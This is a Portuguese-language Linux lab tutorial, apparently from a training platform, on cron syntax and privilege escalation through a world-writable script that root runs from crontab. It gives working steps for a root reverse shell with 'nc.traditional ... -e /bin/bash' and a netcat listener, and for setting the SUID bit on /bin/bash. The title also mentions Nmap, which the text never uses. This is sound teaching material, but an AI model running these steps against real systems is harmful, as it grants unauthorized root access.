Cron Jobs e Escalada de Privilégios com Nmap: Guia Prático

Introdução

Neste laboratório, aprenderemos sobre Cron Jobs e a sintaxe cron, e através de exercícios práticos, você entenderá rapidamente o uso do crontab. Além disso, entenderemos como aproveitar configurações incorretas do crontab para escalar privilégios no Linux.

Entendendo Cron Jobs e a Sintaxe Cron

Nesta etapa, apresentaremos Cron Jobs e a sintaxe cron.

Cron Jobs são "tarefas agendadas" no sistema Linux, comumente usadas para agendar comandos que precisam ser executados periodicamente, como backups regulares de dados ou limpeza de cache. Eles são chamados de Cron Jobs porque usam a ferramenta cron (crontab).

Cron Jobs são uma das ferramentas mais comumente usadas por administradores de sistema, e são ótimas ferramentas por si só. No entanto, se as "tarefas agendadas" forem configuradas para serem executadas com privilégios de usuário mais altos (por exemplo, usuário root), elas podem ser potencialmente exploradas por invasores para escalonamento de privilégios.

O comando crontab usa a seguinte sintaxe:

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- Dia da semana (0 - 7) (0 = Domingo)
|    |    |    +---------- Mês (1 - 12)
|    |    +--------------- Dia do mês (1 - 31)
|    +-------------------- Hora (0 - 23)
+------------------------- Minuto (0 - 59)

O campo user é opcional. Se não for especificado, o comando ou script será executado com os privilégios do usuário atual.

Observe que apenas o usuário root pode especificar a execução de comandos ou scripts com os privilégios de outros usuários.

Por exemplo, se quisermos exibir o log de erros do Apache a cada hora, podemos usar a seguinte instrução:

0 * * * * echo /var/log/lastlog

Como hora, dia, mês e semana estão todos definidos como *, a tarefa agendada será executada uma vez a cada vez que o minuto atingir 0, ou seja, a cada hora.

E se precisarmos executar um comando a cada duas horas no 15º minuto? Podemos fazer uma modificação simples:

15 */2 * * * echo /var/log/lastlog

Para entender o uso do cron, vamos passar por um exemplo.

Abra o terminal e navegue até o diretório /home/labex/project. Em seguida, execute o seguinte comando para inicializar o ambiente do laboratório:
```
./env_setup1.sh
```
Após a inicialização bem-sucedida, você verá o arquivo cleanup.py e o diretório trashDirectory no diretório home do usuário labex. O diretório trashDirectory contém dois arquivos: error.log e readme.txt.

Nosso objetivo do laboratório é o seguinte: Use crontab para adicionar uma tarefa agendada que chama o script cleanup.py a cada 1 minuto para limpar todos os dados no diretório /home/labex/project/trashDirectory. O script cleanup.py simplesmente chama o comando do sistema rm através da função os.system() para limpar o diretório /home/labex/project/trashDirectory.
Em seguida, use o seguinte comando para adicionar uma tarefa agendada no crontab:
```
echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null
```
O comando acima adiciona uma tarefa agendada ao arquivo crontab. A tarefa será executada a cada minuto, e o script cleanup.py será executado com privilégios de root.
Como o serviço cron está desativado por padrão em nossa máquina de laboratório, precisamos iniciá-lo manualmente com o seguinte comando:
```
sudo service cron start
```
Saída esperada:
```
* Starting periodic command scheduler cron
```
Após cerca de um minuto, se entrarmos no diretório /home/labex/project/trashDirectory e usarmos o comando ls, veremos que os dados no diretório foram limpos, indicando que o cron job está sendo executado corretamente.

Sobrescrevendo Scripts Crontab para Executar Reverse Shell

Nesta etapa, aprenderemos como escalar privilégios sobrescrevendo scripts chamados pelo crontab.

Primeiro, abra o terminal e navegue até o diretório /home/labex/project. Em seguida, execute o seguinte comando para inicializar o ambiente do laboratório:
```
cd /home/labex/project
```
Execute o script para inicializar o ambiente do laboratório:
```
./env_setup2.sh
```
Após a inicialização bem-sucedida, use o seguinte comando para visualizar as tarefas agendadas no host:
```
cat /etc/crontab
```
Uma das tarefas agendadas no final do arquivo chamou nossa atenção: a cada minuto, o sistema executa um script /home/labex/project/cleanup.py como root, que é o arquivo que usamos na etapa anterior.
Em seguida, vamos verificar as permissões do script:
```
ls -al /home/labex/project/cleanup.py
```
Notamos que as permissões do arquivo cleanup.py estão definidas com riscos: outros usuários também têm permissão de escrita (w), o que significa que podemos editar e modificar o conteúdo de cleanup.py!
Como cleanup.py é executado com privilégios de root, podemos usar reverse shell com privilégios de root.

Use nc.traditional para reverter um shell para a porta local 4444, modificando o script cleanup.py:
```
...
os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash")
...
```
Salve o arquivo e as alterações entrarão em vigor após um minuto.

A razão pela qual usamos nc.traditional é que o comando nc padrão não suporta a opção -e.
Em seguida, execute o seguinte comando para ouvir na porta local 4444:
```
nc -lnvp 4444
```
Saída esperada:
```
Listening on 0.0.0.0 4444
```
Depois de esperar um momento, recebemos com sucesso um reverse shell com privilégios de root.
```
Connection received on 127.0.0.1 45480
```
Tente executar o comando whoami para verificar o usuário atual:
```
whoami
root
```

Sobrescrevendo Scripts Crontab para Conceder Bash SUID

Você se lembra da escalada de privilégios SUID que discutimos anteriormente? Também podemos usar o script cleanup.py para modificar as permissões de certos arquivos executáveis para ter o bit setuid definido, permitindo que os aproveitemos para escalada de privilégios SUID, como definir o bit setuid para bash.

Após a última etapa, você ainda pode estar no shell root. Para esta etapa, você precisa sair do shell root e fazer login novamente como usuário labex executando o seguinte comando:

exit

Ou você pode abrir um novo terminal e fazer login como usuário labex.

Em seguida, execute o seguinte comando para navegar até o diretório /home/labex/project:

cd /home/labex/project

Atualmente, /bin/bash não tem o bit setuid definido:
```
ls -l /bin/bash
```
Semelhante à etapa anterior, modifique o comando executado pelo script cleanup.py para o seguinte comando:
```
...
os.system("chmod +s /bin/bash")
...
```
Depois de um tempo, se verificarmos /bin/bash, descobriremos que ele agora tem o bit setuid definido, indicando que a tarefa agendada foi executada com sucesso:
```
ls -l /bin/bash
```
Saída esperada:
```
-rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bash
```
Como mostrado acima, agora podemos usar bash -p para obter privilégios de root.
```
labex:project/ $ bash -p
bash-5.1## whoami
root
```
Crie um arquivo chamado success.txt no diretório /root para indicar que você escalou com sucesso os privilégios:
```
echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt
```

Resumo

Neste laboratório, aprendemos sobre Cron Jobs, a sintaxe cron e dominamos o uso do crontab por meio de exercícios práticos. Finalmente, aproveitamos uma configuração incorreta do crontab para escalar com sucesso nosso shell para privilégios de root.

Aprenda Cron Jobs e Escalada de Privilégios no Nmap

Introdução

Entendendo Cron Jobs e a Sintaxe Cron

Sobrescrevendo Scripts Crontab para Executar Reverse Shell

Sobrescrevendo Scripts Crontab para Conceder Bash SUID

Resumo